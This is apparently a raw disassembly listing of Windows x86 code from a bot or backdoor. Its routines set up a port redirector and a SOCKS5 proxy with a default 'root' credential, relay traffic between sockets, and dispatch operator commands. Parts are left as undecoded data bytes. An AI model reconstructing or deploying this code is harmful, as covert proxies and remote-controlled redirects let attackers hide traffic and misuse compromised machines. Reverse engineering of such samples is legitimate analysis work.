var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_437B30
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42C9FA
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42C888
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C888:				; CODE XREF: sub_42C830+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42C8E2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C8E2:				; CODE XREF: sub_42C830+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42C912
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42C912:				; CODE XREF: sub_42C830+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_511CAC
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42C9FA
		mov	ebx, dword_511CA4
		mov	ebp, dword_511CA0


loc_42C966:				; CODE XREF: sub_42C830+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C990
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C990:				; CODE XREF: sub_42C830+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42C9FA
		jge	short loc_42C9CB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42C9F2


loc_42C9CB:				; CODE XREF: sub_42C830+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42C966
		jmp	short loc_42C9FA
; ---------------------------------------------------------------------------


loc_42C9F2:				; CODE XREF: sub_42C830+15Ej
					; sub_42C830+199j
		push	0Ah
		call	near ptr 2830000h
		nop


loc_42C9FA:				; CODE XREF: sub_42C830+27j
					; sub_42C830+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_511C9C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CA0E
		push	eax
		call	edi	; closesocket


loc_42CA0E:				; CODE XREF: sub_42C830+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42CA1C
		push	esi
		call	edi	; closesocket


loc_42CA1C:				; CODE XREF: sub_42C830+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42C830	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  68h	; h
		db 0CFh	; о
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ║
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ┴
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ▀
		db 0F1h	; Я
		db  89h	; ┴
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; Х
		db 0CEh	; н
		db  54h	; T
		db 0FDh	; Щ
		db 0FFh
		db  68h	; h
		db  64h	; d
		db  4Dh	; M
		db  44h	; D
		db    0
		db  8Dh	; █
		db  4Eh	; N
		db  11h
		db 0C7h	; г
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; г
		db    6
		db 0C0h	; ю
		db 0F1h	; Я
		db  43h	; C
		db    0
		db 0E8h	; Х
		db 0F4h	; Т
		db  4Ah	; J
		db 0FDh	; Щ
		db 0FFh
		db  8Bh	; ▀
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ▀
		db 0C6h	; ф
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ┴
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  10h
		db 0C3h	; ц
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42CB20:				; CODE XREF: ___:loc_4015FAj
					; ___:00401FC8j
		push	esi
		mov	esi, ecx
		call	sub_401B9F
		test	byte ptr [esp+8], 1
		jz	short loc_42CB38
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42CB38:				; CODE XREF: ___:0042CB2Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42CB50	proc near		; CODE XREF: sub_401B9Fj
		jmp	sub_4017A8
sub_42CB50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42CB70	proc near		; CODE XREF: sub_4019F1j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42CB70
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017EE
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017EE
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014DD
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42CDA8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42CC5B
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: sub_42CB70+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42CD54


loc_42CC6F:				; CODE XREF: sub_42CB70+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_42CD35
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42CD35
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42CD35
		push	0A9h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42CCD5
		mov	ecx, eax
		call	sub_40166D
		mov	edi, eax


loc_42CCD5:				; CODE XREF: sub_42CB70+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FDC
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FDC
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013DE


loc_42CD35:				; CODE XREF: sub_42CB70+111j
					; sub_42CB70+133j ...
		push	0FAh
		nop
		call	near ptr 2830000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42CC6F


loc_42CD54:				; CODE XREF: sub_42CB70+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42CD66
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42CD66:				; CODE XREF: sub_42CB70+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017EE
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017EE
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014DD
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 24h


loc_42CDA8:				; CODE XREF: sub_42CB70+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42CB70	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42CE60	proc near		; CODE XREF: sub_402202j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42CE60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_42CE60	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019C4
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019C4
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019C4
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42D150:				; CODE XREF: ___:loc_40204Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43D0A4
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42D2B7
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h,	16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 0E850FFFDh
		dd 777EED1Ch, 4C48390h,	48244C8Dh, 893B4789h, 80249Ch
		dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
		dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	3FDCE800h, 68FFFDh, 8D004446h
		dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
		dd 30000h, 7FE80000h, 50FFFD45h, 7EECA3E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD3F9Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 27E80000h
		db 41h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42D2B7:				; CODE XREF: ___:0042D18Dj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D3E7
		push	9Dh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42D2FE
		mov	ecx, eax
		call	sub_401898
		mov	edi, eax
		jmp	short loc_42D300
; ---------------------------------------------------------------------------


loc_42D2FE:				; CODE XREF: ___:0042D2F1j
		xor	edi, edi


loc_42D300:				; CODE XREF: ___:0042D2FCj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FDC
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D3E7:				; CODE XREF: ___:0042D2CAj
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D510
		push	0A2h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42D42E
		mov	ecx, eax
		call	sub_4018ED
		mov	edi, eax
		jmp	short loc_42D430
; ---------------------------------------------------------------------------


loc_42D42E:				; CODE XREF: ___:0042D421j
		xor	edi, edi


loc_42D430:				; CODE XREF: ___:0042D42Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42D4DE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42D4E5
; ---------------------------------------------------------------------------


loc_42D4DE:				; CODE XREF: ___:0042D4D3j
		mov	byte ptr [edi+9Dh], 0


loc_42D4E5:				; CODE XREF: ___:0042D4DCj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_42D510:				; CODE XREF: ___:0042D3FAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D5DD
		push	0A1h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42D55A
		mov	ecx, eax
		call	sub_40218A
		mov	edi, eax
		jmp	short loc_42D55C
; ---------------------------------------------------------------------------


loc_42D55A:				; CODE XREF: ___:0042D54Dj
		xor	edi, edi


loc_42D55C:				; CODE XREF: ___:0042D558j
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013DE


loc_42D5DD:				; CODE XREF: ___:0042D526j
		lea	ecx, [ebp+0BCh]
		call	sub_4014DD
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42D809
		lea	ecx, [esp+30h]
		call	sub_40142E
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_40142E
		push	offset asc_444600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A9B
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014DD
		cmp	eax, offset byte_448F40
		jnz	short loc_42D6BF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6BF:				; CODE XREF: ___:0042D6AFj
		lea	ecx, [esp+18h]
		call	sub_4014DD
		cmp	eax, offset byte_448F40
		jnz	short loc_42D6DD
		push	offset byte_448F40
		lea	ecx, [esp+1Ch]
		call	sub_401A9B


loc_42D6DD:				; CODE XREF: ___:0042D6CDj
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4017EE
		mov	edi, dword_511B14
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8085
		call	sub_401857
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401870
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C2B
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42D809:				; CODE XREF: ___:0042D5FCj
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42D826
		mov	[ebp+11Ch], al


loc_42D826:				; CODE XREF: ___:0042D81Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42DA00:				; CODE XREF: ___:004021CBj
		push	ecx
		mov	edx, dword_449A5D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42DA21
		inc	ecx
		mov	[eax+118h], ecx


loc_42DA21:				; CODE XREF: ___:0042DA18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+4]
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA80	proc near		; CODE XREF: sub_401E1Fj

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_438244
sub_42DA80	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 900D8B19h, 5000511Ah, 6840C183h, 4473D8h, 64E89051h
		dd 83778133h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42DAD0:				; CODE XREF: ___:00401D8Ej
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42DAE3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42DAE3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: ___:0042DAD6j
					; ___:0042DADDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
